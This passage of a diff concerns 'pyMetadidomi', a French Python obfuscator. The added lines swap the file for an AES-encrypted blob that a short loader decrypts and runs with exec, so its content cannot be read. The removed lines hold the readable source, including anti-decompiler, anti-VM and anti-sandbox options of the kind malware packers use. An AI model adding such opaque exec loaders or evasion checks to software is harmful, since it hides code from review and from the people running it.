twpeRbXlHNg85+vnB9t7hnsTGt8X+XoC/1nMYc6ErvEavV2GUym2Fk8RDk5wB+o5KfLMqPwZpDKUFQzYL3YYrT6gcfwwBPVg+RAx5HHP6cP5HNSAnf1slawLrxDlX/BHXC2PVKIA+zuxcZMrbzoqzFi+ab178dkfnq39P8/oiKyrCQTqXSX3aL1rkd8QjULuLonXIaDlstkFl2ZLLXc4kyEGAV4dhGfIiKdaueP6xj9ke5yIPiiH7ipbvhFc7HJa3GsiS766+VnPbK5SPKsrotMJrgalhXb4HxWaHtn46WLN4WoJx1sxV2pC10y+761wyJ6UtpFZj8cx+Ybhhx1WrYURDQk/XQL4QeFNX3VfdLekXecMHtsaN6Y8hpXfnACX4mnvgaaEAtut/RD7VxGX68JCchcHJf784mRngwn9RGbl7mT70Z9/yRD9TEnZ1A+GZaUugRf11/arCd+h8WCLM1xigK2emPgys+bITbsn5ShatkRWb6HhuuqeQXt9fJWd0SkQu/ZbkbruDpe24COXmKaCmwBXqgslDFmPFlvI3+qDx6nPJJzGgyXisHOoZ9dZ/3i5mn8s5GvRtuSm3FzmJ+TrviYD6Q+iNmLo8HJidW0Pamo8Sbh/VnCefzRhC6HMVhn7HMIJDJjhfIn8SLVKEWz3aKNTMBKa2RVR98GK+t6puhMnCdTz2jaYKivNIzi5Y7XFBu5zs5knYdxhcBLTPswiXUMeSHH+lls4rouSR20oRFBzfkoHTNgYpDUR7y8Cb4B6+cgdnc0iHwAQu5gABZsMCq3IwVTeDB1sqtu69ihyllx0RNBxHE6mFM+unjnrQZyJSHYMaxfs5+EeHv12Kpkj9MBr+/Q5OZ3KiwgHWfvzROPCpqo29H6ftyIDG96Z24ujRMtr5dq5zxCibfidSQ76eS0Lxv5F74UPlmSDolDxubaQjsPfzuOh/ckDr3QCBsoEzj48CHUsVHoVkuvaCZQMmn5HclETlJIO28Bytu5m2hGhu/Q6r8egF0krnjIVApP4fi+AvxA6kmU2NAMPE95IsDalNGukFFnfFmHPHzZrVjERa0+yUbQak2/ZT/jHniUE1KKycPCOdGS1/DnHJ8pTG6D33EJx268WByw02WpUxOwUFoY1RZ10f0eihJtQtdUaAqDFJ4Tw8qXhtSshxiJM504AIko6DbPvSlc6nM7ZWsk8U0+vpYCVoN8BxpilAq5o7eXHPC3tQfSAbYur4g0bgWMExXML11WM9zBAudY6Ohpiyb7JskfaXtZ2Fj1y+13nTCwhsnSA49qKDPQ/XllEYgzP8H0+78vKG43BkgRjxvfNYkC4QWF6j7wA2M3m4MnIPetMb/uBmT+GuCBOURdyUR4zuV45y/kd3DK94KcCVg0mU2dHaVj/P8/a4sJOBSYqC87wwJEWC7JO3dOxy5J3+reA6ZkSQ+Y3NqlAMa1jBYA7ElL3vP/nsr++0smvL2g9AT4U/MAgcVjqOrOLPxHJE1U9ZQfdS6IznQM4DB1Y9Gg86GlBOttEzky7Q6rzW1XZbAcFWWf41DGIUUapenFAYNA8cKvGkVObEqjBg637+RU0k7X4/KfzogOeFEg98l1YAUD8AGiNJsHDxG+zTSNcqZA1f7r2GynP/yttXmsJUcZqsh2isQk1RruxfEuMitaY6ZpqAVB9ikur0xljbcL/9xdna0AOOfBpYpirWrYivhqmtfieQwEMYJr6nEO0ZpSF/yR+2GVbPgVrPH/z87Grv0F0NDOa2xzxyB6ULE2JhCtuw/HwxO2Elo3sfRVTuJ9gV+A2zlXGtDueFyU/wqTjt5TSsxf+FH4YmwO1c0JmYGPqEHd8pR4I34SGDg3Xr/lCI5exrwSAmVNElbNM+YT6rlE4Ym2adIhxWo9/LHAPCr+u89U++AVauvV9KflpdGJx+vmdZW+E668oMop8XYDgA68SYLWSFTiEyKxX7XpGVsg8C4J8wlW1Fp0hM72YI5wbivmc02/lS7CbWGYL1B0Yu2Jp76IPImdU56OcqawWu6QwX1VcgwGpt12X8gl3dRIu7x94TDEs12IJz0pktNHKrSIfneqCnXZerpjXe8ex9YoTRFaqVgv6qk3zeNm2Gvp2Wn3ij5Vag/MQyiFctjLy21LgwzV703AdAKh6aHxb3BpKUSkQwT74SO2LVvCt967ptiqBC/HzTsqE9RHxjXUQI37+G/7PTKoPqMQ3bmNkpW+xPEenUWULdFX15ouBm+e7HDv7okhIQ9aQIahOUYDL21ON9S1PK3ShTh9Imc9kTTEhhX+hVj/y1ZTXIcBsrBkDEnvRP4mXJtryoXXerxPVNlcUjlvI+wvJegW9VY+KvEbckelgTM40a5Maf7hfdiDU6m4zb2w0VRJglflx627hfBO0CCaSfB3llrs6d2HON3Q0Gy71mCQHH4QgMrwz01ExR7qU9PPY+48VgKHUGPzB1eI5ZNxhPnaocZf4+gr41wMWDQc7I22RZ9B5FQdJy/hnZeDFKkBDp6xOU6n4fPKaTHgwLB/dJ9tIUI/AUrpZbbpKJPm+4Pem3fvKHyx0umrYN4J+/qD2c+DvriqoHYNW8GQOi5AD+ODt306923Mw8JsEhfziNPCMR62azXCDA7+xio/N1zD7BUypzoNRngd/TCyBUfJA064j/U38UrV4irUK1s32lGr1F5KBkVFPGawh7wvTdODrdzsU5QRVNFCaEmgZMQhWoyJIeVjdYQgQtIZSKh12iuMr6jBfqB8Vk2TWGXxpJJXXr004HsSvaKhg2+0MT3/BrjYezGPcF2AYYQHUuvn38DHo13cr0lGXFgPY8Okyrxedq68ZUH0Z05MDranj3UDYBrEoTw8HY6zR71W//n83b+Ri/2XWZXjMZdOuZFKQEj8AGDc9RCEtabbtZSo0mVK+iJL6yOzLWVOEr8YUtsiVkXGsQ57GdTLITRjq6bgSrwAYBoZ/tgI6xTNmhDMY8AoLL9jaoNq7f9T9kD2PnhiOaLSj/9U6W0SihlzNYDVHmnV+RCIZ+/sgD+zfilmiX57VaAj6/9ggxi0jzBLbOPw5lzrMb7A+QQ/MqNmd/DDYn9AFHfpVt5XTaQ6cUZCKgM/Idl8/sZkqEZcAkxqkjAaKHL3kjwHnSGdD458C6GPDXMGz+thzpMDDLNb5qHIwE9nEuKfj7y3nTQ1menQws2sSXONuDUNgdC+1EcANd17oYP2xmVLFpSYY2m/dVNs6tYpTjBbdFmI/OY/bl8+y/dH3YDfSSs5woviMeNwxnG8pALM42tl3m02E3+DOmF5xGyGBsui4Atj5PPxlODqeONfuf1sfaYBjj+DnZGfj5Ki9ANBoVHJuAfpL6qkWtmicOV6v1cEokzat4yhmtjEl+grO+doRzUOA+IetAM6RVsVE/OpfLGWdNKPZnjaw7X4f+01sq2JxD1D+5hbBuBvZoc3s03/sWYLfp9VAe+3I2hW2FYyt8iV+60QOAsxtxyKKKA9CViYG1CPVGFfUdtDt0kdumCT74O8W+OlN+EPGEUOJGKard6CgVE6BHsrQiSLDrgjZA0C1zlan5QusG6T5HzcK5Gkf4y1bX0Au/FO6OPjkiyihHO5vGLJrirXSU+CgF3fq7sz50GMkuydY8CbXNRUClsggixSu385vM+kD1VlWQ/7iwYFHLSFVaBmIOWYy33F75TRdVJ3ScEwFe+VuQUGfCxe0sygwJNkBFgvzVmAlQluLKX6UwvqVl3frS3SyCBlGotWX5B0jmLcfdJTyv8Mb6oDrFhf9KtOP2AG7isGH5wzIBWs1fQu2r50T4Vcz16wz4GNaTj9lCTG9xXQbSqAKpZbSiswBQ4az87uWeBt/m9lgethkcNMFT4LmwTFg7wpCQJYHiefbS9jhAc07UUFGndUF9Qnh0lRK2Miuu58IrlW39YlxVL+tcg5I4SDzED+mNpJPRc+2Wk6QbXMGemO0NkENhiLLSlvSiK9sd/Xar0yz9xeM/3lHQ8qhww5i1zIkGFbobiTM+hvFJiBNArr3dpn38nGF0XFrGC17Iaqm/j1T7dJj8j3gzswiyMv04/hLyCtSKoabETXf0s4yOd38E9zQ55VGjVmFQcywPBpuJEu2HW1J/fqFpItqsvxI713PoC56Zgap5Jn/XicVXcz5+56PzPcIQ7NYfC9zN5XZCVLOfFRUhqZZD+d2bp3526na8kxe4ldaXeqbRblHagD2pJ5DHz0Va99EqpCmXqoFj3Q8LkWbiI51kZghpKtx2wqRlJ5zz4+RT+ojH0VjwwbEtjG8/1pCy/zTRS9kL7QrVIuCIKi8gi0gkm35Cx2YlLx1TlvDxW590OhnMFOe6zcob5pEBlD8Jm0THMg6iqeHHc3fDDQwFvnof/+0YfJEXPRqH6XIc6mb/4IvUFuf2rXKnfIdu/NkwbjZdYOVuwRCuqkxm6F3Cim8sRACtO4UMoCqCiCknV52Mx/o6EWZVPMNwqgVKMBllzVS+mc+gCboSJLvzLP7U28WDdkCTEs6ecBuCPKQJ6Ery8/l8zpmIZW8gmONhu3GA3CcHtjrah5TAvlwiAB8gadhG9hzx0xeWw6DgtIwFNw0ty9DSmYaeVzWJRbWB8ki")
7
+ key = base64.b64decode("QYQgQsUQjhrbjHKMMOBMJnLqkqXchIMCEbc66ufJI/M=")
8
+ iv = base64.b64decode("nMR7yBWllZkcALjf60SsCA==")
9
+ def unpad(data):
10
+ return data[:-data[-1]]
975
11
  cipher = AES.new(key, AES.MODE_CBC, iv)
976
- encrypted = cipher.encrypt(pad(compressed))
977
- b64 = base64.b64encode(encrypted).decode('ascii')
978
- b64_key = base64.b64encode(key).decode('ascii')
979
- b64_iv = base64.b64encode(iv).decode('ascii')
980
-
981
- # Générer le loader (natif si disponible, sinon fallback AES Python)
982
- if pymloader_bin and pymloader_bin.exists():
983
- loader = (
984
- '# --- Loader natif par pyMetadidomi (pymloader) ---\n'
985
- 'import base64, zlib, marshal\n'
986
- 'from Crypto.Cipher import AES\n'
987
- 'try:\n'
988
- ' import pymloader\n'
989
- ' payload = base64.b64decode("{}")\n'
990
- ' key = base64.b64decode("{}")\n'
991
- ' iv = base64.b64decode("{}")\n'
992
- ' def unpad(data):\n'
993
- ' return data[:-data[-1]]\n'
994
- ' cipher = AES.new(key, AES.MODE_CBC, iv)\n'
995
- ' decrypted = unpad(cipher.decrypt(payload))\n'
996
- ' bytecode = zlib.decompress(decrypted)\n'
997
- ' pymloader.exec_bytecode(bytecode)\n'
998
- 'except ImportError:\n'
999
- ' bytecode = zlib.decompress(decrypted)\n'
1000
- ' code = marshal.loads(bytecode)\n'
1001
- ' exec(code)\n'
1002
- '# --- Fin du loader natif ---\n'
1003
- ).format(b64, b64_key, b64_iv)
1004
- else:
1005
- # Fallback : loader AES Python pur (sans module natif)
1006
- loader = (
1007
- '# --- Loader AES Python par pyMetadidomi (fallback) ---\n'
1008
- 'import base64, zlib, marshal\n'
1009
- 'from Crypto.Cipher import AES\n'
1010
- f'payload = base64.b64decode("{b64}")\n'
1011
- f'key = base64.b64decode("{b64_key}")\n'
1012
- f'iv = base64.b64decode("{b64_iv}")\n'
1013
- 'def unpad(data):\n'
1014
- ' return data[:-data[-1]]\n'
1015
- 'cipher = AES.new(key, AES.MODE_CBC, iv)\n'
1016
- 'decrypted = unpad(cipher.decrypt(payload))\n'
1017
- 'bytecode = zlib.decompress(decrypted)\n'
1018
- 'code = marshal.loads(bytecode)\n'
1019
- 'exec(code)\n'
1020
- '# --- Fin du loader AES ---\n'
1021
- )
1022
- return loader
1023
-
1024
- def anti_decompile_protection(code):
1025
- """Protection contre les décompilateurs courants"""
1026
-
1027
- protection = """
1028
- import sys
1029
-
1030
- # Protection contre les décompilateurs spécifiques
1031
- def detect_decompiler():
1032
- # Modules dangereux connus (décompilateurs réels)
1033
- decompiler_modules = [
1034
- 'uncompyle6', 'decompyle3', 'pycdc', 'pycdas', 'xdis'
1035
- ]
1036
-
1037
- for module in decompiler_modules:
1038
- if module in sys.modules:
1039
- return True
1040
-
1041
- # Vérification des noms de processus
1042
- try:
1043
- import psutil
1044
- decompiler_processes = ['uncompyle', 'decompyle', 'pycdc', 'xdis', 'decompiler']
1045
- for proc in psutil.process_iter(['name']):
1046
- if any(name in proc.info['name'].lower() for name in decompiler_processes):
1047
- return True
1048
- except:
1049
- pass
1050
-
1051
- return False
1052
-
1053
- if detect_decompiler():
1054
- try:
1055
- import tkinter as tk
1056
- from tkinter import messagebox
1057
- root = tk.Tk()
1058
- root.withdraw()
1059
- messagebox.showerror("Sécurité", "Décompilation détectée")
1060
- root.destroy()
1061
- except:
1062
- print("Décompilation détectée")
1063
- sys.exit(1)
1064
- """
1065
- return protection + code
1066
-
1067
- class Encryption:
1068
- # Classe pour chiffrer/déchiffrer le code avec AES
1069
-
1070
- def __init__(self, key):
1071
- self.bs = AES.block_size
1072
- self.key = hashlib.sha256(key).digest()
1073
-
1074
- def encrypt(self, raw):
1075
- # Chiffre une ligne de code
1076
- try:
1077
- # S'assurer que raw est une string
1078
- if not isinstance(raw, str):
1079
- raw = str(raw)
1080
-
1081
- # Convertir en bytes d'abord, puis appliquer le padding
1082
- raw_bytes = raw.encode('utf-8')
1083
- raw_padded = self._pad_bytes(raw_bytes)
1084
-
1085
- # Générer IV et chiffrer
1086
- iv = Random.new().read(AES.block_size)
1087
- cipher = AES.new(self.key, AES.MODE_CBC, iv)
1088
-
1089
- # Chiffrer les données
1090
- encrypted_data = cipher.encrypt(raw_padded)
1091
-
1092
- # Retourner en base64
1093
- return base64.b64encode(iv + encrypted_data).decode('utf-8')
1094
- except Exception as e:
1095
- try:
1096
- import tkinter as tk
1097
- from tkinter import messagebox
1098
- root = tk.Tk()
1099
- root.withdraw()
1100
- messagebox.showerror("Erreur Chiffrement", f"Erreur lors du chiffrement: {e}\nLongueur: {len(raw)}")
1101
- root.destroy()
1102
- except:
1103
- print(f"Erreur lors du chiffrement: {e}")
1104
- print(f"Longueur des données: {len(raw)}")
1105
- return ""
1106
-
1107
- def _pad_bytes(self, s):
1108
- # Ajoute du padding PKCS7 à des bytes
1109
- padding_length = self.bs - len(s) % self.bs
1110
- if padding_length == 0:
1111
- padding_length = self.bs
1112
- padding = bytes([padding_length]) * padding_length
1113
- return s + padding
1114
-
1115
- def write(self, key, source):
1116
- # Écrit le code chiffré dans un format lisible avec décrypteur embarqué
1117
- wall = "__PYMETADIDOMI_ENCRYPTED__" * 25
1118
- newcode = f"{wall}{key}{wall}"
1119
-
1120
- # Vérifier que source est une string
1121
- if not isinstance(source, str):
1122
- source = str(source)
1123
-
1124
- for line in source.split("\n"):
1125
- encrypted_line = self.encrypt(line)
1126
- if encrypted_line: # Vérifier que le chiffrement a réussi
1127
- newcode += encrypted_line + wall
1128
-
1129
- # Décrypteur embarqué (obfusqué et intégré)
1130
- decryptor = """
1131
- import base64, hashlib, os, subprocess, tempfile, sys, re, json, datetime
1132
- from Crypto.Cipher import AES
1133
-
1134
- class PyMetadidomi:
1135
- def __init__(self, key):
1136
- self.bs = AES.block_size
1137
- self.key = hashlib.sha256(key).digest()
1138
-
1139
- def decrypt(self, enc):
1140
- try:
1141
- enc = base64.b64decode(str(enc))
1142
- iv = enc[:AES.block_size]
1143
- cipher = AES.new(self.key, AES.MODE_CBC, iv)
1144
- decrypted = cipher.decrypt(enc[AES.block_size:])
1145
- return self._unpad(decrypted).decode('utf-8')
1146
- except:
1147
- return ""
1148
-
1149
- def remove_protections(self, src):
1150
- protections = [
1151
- r'import ctypes, sys\\s*if not ctypes\\.windll\\.shell32\\.IsUserAnAdmin.*?(?=\\ndef|\\nclass|\\n\\n|\\Z)',
1152
- r'def detect_vm\\(\\):.*?return any\\(vm_indicators\\)',
1153
- r'def detect_debugger\\(\\):.*?return False',
1154
- r'def detect_sandbox\\(\\):.*?return False',
1155
- r'def detect_decompiler\\(\\):.*?sys\\.exit\\(1\\)',
1156
- r'def execution_timeout\\(\\):.*?return decorator',
1157
- ]
1158
- for pattern in protections:
1159
- src = re.sub(pattern, '', src, flags=re.DOTALL | re.MULTILINE)
1160
- return src
1161
-
1162
- def remove_dead_code(self, src):
1163
- lines = src.split('\\n')
1164
- filtered_lines = []
1165
- for line in lines:
1166
- if not re.match(r'\\s*(def unused_func_|def dummy_calc_|temp_var_|unused_data_|complex_obj_|class FakeClass)', line):
1167
- filtered_lines.append(line)
1168
- return '\\n'.join(filtered_lines)
1169
-
1170
- @staticmethod
1171
- def _unpad(s):
1172
- try:
1173
- padding_length = s[-1]
1174
- if padding_length < 1 or padding_length > AES.block_size:
1175
- return s
1176
- if s[-padding_length:] != bytes([padding_length]) * padding_length:
1177
- return s
1178
- return s[:-padding_length]
1179
- except:
1180
- return s
1181
-
1182
- def _pymetadidomi_load():
1183
- try:
1184
- with open(__file__, "r", encoding='utf-8') as f:
1185
- obfcode = f.read()
1186
-
1187
- start_marker = "'''\\n"
1188
- end_marker = "\\n'''"
1189
-
1190
- if start_marker not in obfcode or end_marker not in obfcode:
1191
- return
1192
-
1193
- start_index = obfcode.find(start_marker) + len(start_marker)
1194
- end_index = obfcode.find(end_marker, start_index)
1195
- encrypted_content = obfcode[start_index:end_index]
1196
-
1197
- wall = "__PYMETADIDOMI_ENCRYPTED__" * 25
1198
- parts = [part for part in encrypted_content.split(wall) if part.strip()]
1199
-
1200
- if len(parts) < 2:
1201
- return
1202
-
1203
- key = parts[0].encode()
1204
- encrypted_parts = parts[1:]
1205
-
1206
- pymetadidomi = PyMetadidomi(key)
1207
- src = ""
1208
-
1209
- for encrypted_part in encrypted_parts:
1210
- if encrypted_part.strip():
1211
- decrypted_line = pymetadidomi.decrypt(encrypted_part)
1212
- if decrypted_line:
1213
- src += decrypted_line + "\\n"
1214
-
1215
- src = pymetadidomi.remove_protections(src)
1216
- src = pymetadidomi.remove_dead_code(src)
1217
- src = re.sub(r'import (uncompyle6|decompyle3|pycdc|pycdas|xdis|meta|psutil)\\n', '', src)
1218
- src = re.sub(r'from (uncompyle6|decompyle3|pycdc|pycdas|xdis|meta|psutil) import.*?\\n', '', src)
1219
- src = re.sub(r'\\n\\n+', '\\n\\n', src)
1220
- src = re.sub(r'encrypted_code = .*?\\n', '', src)
1221
-
1222
- tmp = tempfile.NamedTemporaryFile(mode='w', delete=False, suffix='.py', encoding='utf-8')
1223
- tmp.write(src)
1224
- tmp.flush()
1225
- tmp.close()
1226
-
1227
- p = subprocess.Popen([sys.executable, tmp.name])
1228
- p.wait()
1229
- os.unlink(tmp.name)
1230
-
1231
- except:
1232
- pass
1233
-
1234
- _pymetadidomi_load()
1235
- """
1236
-
1237
- code = f"{decryptor}\n'''\n{newcode}\n'''"
1238
- return code
1239
-
1240
-
1241
- banner = f"""
1242
-
1243
-
1244
-
1245
- ____ ___ _ _ _ _ _ _
1246
- | _ \ _ _| \/ | ___| |_ __ _ __| (_) __| | ___ _ __ __ _(_)
1247
- | |_) | | | | |\/| |/ _ \ __/ _` |/ _` | |/ _` |/ _ \| '_ ` _ \| |
1248
- | __/| |_| | | | | __/ || (_| | (_| | | (_| | (_) | | | | | | |
1249
- |_| \__, |_| |_|\___|\__\__,_|\__,_|_|\__,_|\___/|_| |_| |_|_|
1250
- |___/ Coder c'est bien; protéger c'est mieux !
1251
-
1252
-
1253
- {white(f"[>] Exécution avec Python {sys.version_info[0]}.{sys.version_info[1]}.{sys.version_info[2]}")}
1254
-
1255
- """
1256
-
1257
- def parse_cli_args():
1258
- """Parse les arguments CLI pour le mode batch"""
1259
- parser = argparse.ArgumentParser(
1260
- description="pyMetadidomi - Protection et obfuscation de code Python",
1261
- formatter_class=argparse.RawDescriptionHelpFormatter,
1262
- epilog="""
1263
- Exemples d'utilisation:
1264
- python pyMetadidomi.py script.py # Mode interactif
1265
- python pyMetadidomi.py script.py --carbon # Obfuscation uniquement
1266
- python pyMetadidomi.py script.py --medium-protection # Protection moyenne
1267
- python pyMetadidomi.py script.py --heavy-protection # Protection maximale
1268
- python pyMetadidomi.py script.py --carbon --junk --bugs # Protection personnalisée
1269
- """
1270
- )
1271
-
1272
- parser.add_argument('file', nargs='?', help='Fichier Python à protéger')
1273
-
1274
- # Options individuelles
1275
- parser.add_argument('--carbon', action='store_true', help='Obfuscation du code (renommage)')
1276
- parser.add_argument('--junk', action='store_true', help='Générer du code parasite')
1277
- parser.add_argument('--bugs', action='store_true', help='Anti-débogage')
1278
- parser.add_argument('--dead-code', action='store_true', help='Générer du code mort')
1279
- parser.add_argument('--dead-code-complexity', type=int, default=10, help='Complexité du code mort (1-10, défaut: 10)')
1280
- parser.add_argument('--time-prot', action='store_true', help='Protection temporelle')
1281
- parser.add_argument('--expiration', type=int, default=2026, help='Année d\'expiration (défaut: 2026)')
1282
- parser.add_argument('--anti-vm', action='store_true', help='Détection VM & Sandbox')
1283
- parser.add_argument('--anti-reverse', action='store_true', help='Anti-reverse engineering')
1284
- parser.add_argument('--anti-decompile', action='store_true', help='Anti-décompilation')
1285
- parser.add_argument('--multi-encrypt', action='store_true', help='Chiffrement multi-couches')
1286
- parser.add_argument('--encrypt', action='store_true', help='Chiffrement simple')
1287
-
1288
- # Presets
1289
- parser.add_argument('--light-protection', action='store_true', help='Protection légère (carbon + junk)')
1290
- parser.add_argument('--medium-protection', action='store_true', help='Protection moyenne (carbon + junk + bugs + dead-code)')
1291
- parser.add_argument('--heavy-protection', action='store_true', help='Protection lourde (toutes les protections)')
1292
-
1293
- parser.add_argument('--output', '-o', help='Fichier de sortie (défaut: script-obf.py)')
1294
- parser.add_argument('--compile', action='store_true', help='Compiler en EXE après obfuscation')
1295
-
1296
- return parser.parse_args()
1297
-
1298
- def process_file_cli(args):
1299
- """Traite un fichier en mode CLI"""
1300
- file = args.file
1301
-
1302
- if not os.path.exists(file):
1303
- print(red(f" [!] Erreur : Le fichier '{file}' n'existe pas"))
1304
- sys.exit(1)
1305
-
1306
- # Déterminer les protections à appliquer
1307
- carbonate = args.carbon
1308
- junk = args.junk
1309
- bug = args.bugs
1310
- dead_code = args.dead_code
1311
- anti_vm = args.anti_vm
1312
- anti_reverse = args.anti_reverse
1313
- anti_decompile = args.anti_decompile
1314
- multi_encrypt = args.multi_encrypt
1315
- encrypt = args.encrypt
1316
- time_prot = args.time_prot
1317
- expiration_year = args.expiration
1318
- dead_code_complexity = args.dead_code_complexity
1319
- compile_exe = args.compile
1320
-
1321
- # Gérer les presets
1322
- if args.light_protection:
1323
- carbonate = True
1324
- junk = True
1325
-
1326
- if args.medium_protection:
1327
- carbonate = True
1328
- junk = True
1329
- bug = True
1330
- dead_code = True
1331
-
1332
- if args.heavy_protection:
1333
- carbonate = True
1334
- junk = True
1335
- bug = True
1336
- dead_code = True
1337
- time_prot = True
1338
- anti_vm = True
1339
- anti_reverse = True
1340
- anti_decompile = True
1341
- multi_encrypt = True
1342
-
1343
- print(blue_royal(banner), end="")
1344
- print(blue(f"\n [>] Traitement du fichier: {file}"))
1345
-
1346
- # Charger le code source
1347
- with open(file, "r", encoding='utf-8') as f:
1348
- src = f.read()
1349
-
1350
- key = base64.b64encode(os.urandom(32)).decode()
1351
-
1352
- # Appliquer les protections dans l'ordre
1353
- if junk:
1354
- print(" [>] Ajout de code parasite...")
1355
- src = anubis(src)
1356
-
1357
- if bug:
1358
- print(" [>] Ajout d'anti-débogage...")
1359
- src = bugs(src)
1360
-
1361
- if dead_code:
1362
- print(" [>] Génération de code mort...")
1363
- src = generate_dead_code(dead_code_complexity) + src
1364
-
1365
- if time_prot:
1366
- print(f" [>] Protection temporelle (expiration: {expiration_year})...")
1367
- src = time_protection(src, expiration_year=expiration_year)
1368
-
1369
- if anti_vm or anti_reverse:
1370
- print(" [>] Ajout d'anti-VM et anti-reverse...")
1371
- src = advanced_anti_analysis(src)
1372
-
1373
- if anti_decompile:
1374
- print(" [>] Protection anti-décompilation...")
1375
- src = anti_decompile_protection(src)
1376
-
1377
- if multi_encrypt:
1378
- print(" [>] Chiffrement multi-couches...")
1379
- encryption = MultiLayerEncryption([key, key[:16], key[:8]])
1380
- src = "encrypted_code = " + repr(encryption.multi_encrypt(src)) + "\n" + src
1381
-
1382
- if carbonate:
1383
- print(" [>] Obfuscation du code...")
1384
- src, renamed_count = carbon(src)
1385
-
1386
- if encrypt:
1387
- print(" [>] Minification irréversible...")
1388
- src = minify_irreversible(src)
1389
-
1390
- # Déterminer le dossier temporaire à la racine du projet utilisateur
1391
- import os
1392
- # On suppose que le projet utilisateur est la racine du workspace
1393
- project_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '../../..'))
1394
- temp_dir = os.path.join(project_root, "temp_protected")
1395
- os.makedirs(temp_dir, exist_ok=True)
1396
- output_file = os.path.join(temp_dir, os.path.basename(file))
1397
- # Si l'utilisateur a précisé --output, on l'utilise dans le dossier temporaire
1398
- if args.output:
1399
- output_file = os.path.join(temp_dir, os.path.basename(args.output))
1400
- # Écrire le fichier obfusqué dans le dossier temporaire
1401
- with open(output_file, "w", encoding='utf-8') as f:
1402
- f.write(src)
1403
-
1404
- print(blue(f"\n [>] Code obfusqué avec succès → {output_file}\n"))
1405
-
1406
- # Compilation optionnelle
1407
- if compile_exe and not encrypt:
1408
- compile = True
1409
- print(" [>] Compilation en EXE...")
1410
- # Appeler le packaging complet build.py
1411
- build_py_path = os.path.join(os.path.dirname(__file__), '..', 'builder.py')
1412
- basic_params = [sys.executable, build_py_path, "--app-src", os.path.dirname(output_file), "--output", output_file[:-3] + '.exe', "--app-name", os.path.basename(output_file)[:-3]]
1413
- p = subprocess.Popen(basic_params, shell=True, cwd=os.getcwd())
1414
- print(red(" [!] La compilation en exe peut prendre un certain temps...\n"))
1415
- p.wait()
1416
- exe_name = output_file[:-3] + '.exe'
1417
- print(blue(f"\n [>] Code compilé avec succès → {exe_name}"))
1418
-
1419
- print(blue(" [>] Terminé!"))
1420
-
1421
- def main_interactive():
1422
- """Mode interactif classique"""
1423
- clear()
1424
- print(blue_royal(banner), end="")
1425
- while True:
1426
- file = input(purple(" [>] Entrez le fichier python à obfusquer [script.py] : ") + "\033[38;2;148;0;230m")
1427
- if not os.path.exists(file):
1428
- print(red(" [!] Erreur : Ce fichier n'existe pas"), end="")
1429
- else:
1430
- break
1431
-
1432
- carbonate = False
1433
- junk = False
1434
- bug = False
1435
- anti_vm = False
1436
- anti_reverse = False
1437
- dead_code = False
1438
- time_prot = False
1439
- multi_encrypt = False
1440
- anti_decompile = False
1441
-
1442
- while True:
1443
- ans = input(purple(" [>] Anti-débogage [o/n] : ") + "\033[38;2;148;0;230m").lower()
1444
- if ans == "o":
1445
- bug = True
1446
- break
1447
- elif ans == "n":
1448
- bug = False
1449
- break
1450
- else:
1451
- print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
1452
-
1453
- while True:
1454
- ans = input(purple(" [>] Code inutile [o/n] : ") + "\033[38;2;148;0;230m").lower()
1455
- if ans == "o":
1456
- junk = True
1457
- break
1458
- elif ans == "n":
1459
- junk = False
1460
- break
1461
- else:
1462
- print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
1463
-
1464
- while True:
1465
- ans = input(purple(" [>] Détection de VM & Sandbox [o/n] : ") + "\033[38;2;148;0;230m").lower()
1466
- if ans == "o":
1467
- anti_vm = True
1468
- break
1469
- elif ans == "n":
1470
- anti_vm = False
1471
- break
1472
- else:
1473
- print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
1474
-
1475
- while True:
1476
- ans = input(purple(" [>] Protection anti-reverse engineering [o/n] : ") + "\033[38;2;148;0;230m").lower()
1477
- if ans == "o":
1478
- anti_reverse = True
1479
- break
1480
- elif ans == "n":
1481
- anti_reverse = False
1482
- break
1483
- else:
1484
- print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
1485
-
1486
- while True:
1487
- ans = input(purple(" [>] Code mort [o/n] : ") + "\033[38;2;148;0;230m").lower()
1488
- if ans == "o":
1489
- dead_code = True
1490
- break
1491
- elif ans == "n":
1492
- dead_code = False
1493
- break
1494
- else:
1495
- print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
1496
-
1497
- expiration_year = 2025
1498
- while True:
1499
- ans = input(purple(" [>] Protection basée sur le temps [o/n] : ") + "\033[38;2;148;0;230m").lower()
1500
- if ans == "o":
1501
- time_prot = True
1502
- # Demander la date d'expiration
1503
- while True:
1504
- try:
1505
- expiration_year = int(input(purple(" [>] Année d'expiration (ex: 2026) : ") + "\033[38;2;148;0;230m"))
1506
- if expiration_year > 2025:
1507
- break
1508
- else:
1509
- print(red(" [!] Erreur : L'année doit être supérieure à 2025"), end="")
1510
- except ValueError:
1511
- print(red(" [!] Erreur : Veuillez entrer un nombre entier"), end="")
1512
- break
1513
- elif ans == "n":
1514
- time_prot = False
1515
- expiration_year = 2025
1516
- break
1517
- else:
1518
- print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
1519
-
1520
- while True:
1521
- ans = input(purple(" [>] Chiffrement multi-couches [o/n] : ") + "\033[38;2;148;0;230m").lower()
1522
- if ans == "o":
1523
- multi_encrypt = True
1524
- break
1525
- elif ans == "n":
1526
- multi_encrypt = False
1527
- break
1528
- else:
1529
- print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
1530
-
1531
- while True:
1532
- ans = input(purple(" [>] Protection anti-décompilation [o/n] : ") + "\033[38;2;148;0;230m").lower()
1533
- if ans == "o":
1534
- anti_decompile = True
1535
- break
1536
- elif ans == "n":
1537
- anti_decompile = False
1538
- break
1539
- else:
1540
- print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
1541
-
1542
- while True:
1543
- ans = input(purple(" [>] Renommer Classe, Fonctions, Variables & Paramètres [o/n] : ") + "\033[38;2;148;0;230m").lower()
1544
- if ans == "o":
1545
- carbonate = True
1546
- break
1547
- elif ans == "n":
1548
- carbonate = False
1549
- break
1550
- else:
1551
- print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
1552
-
1553
-
1554
- encrypt = False
1555
- loader_integrated = False
1556
- while True:
1557
- ans = input(purple(" [>] Minification irréversible [o/n] : ") + "\033[38;2;148;0;230m").lower()
1558
- if ans == "o":
1559
- encrypt = True
1560
- break
1561
- elif ans == "n":
1562
- encrypt = False
1563
- break
1564
- else:
1565
- print(red(f" [!] Erreur : Option invalide [o/n]"), end="")
1566
-
1567
- while True:
1568
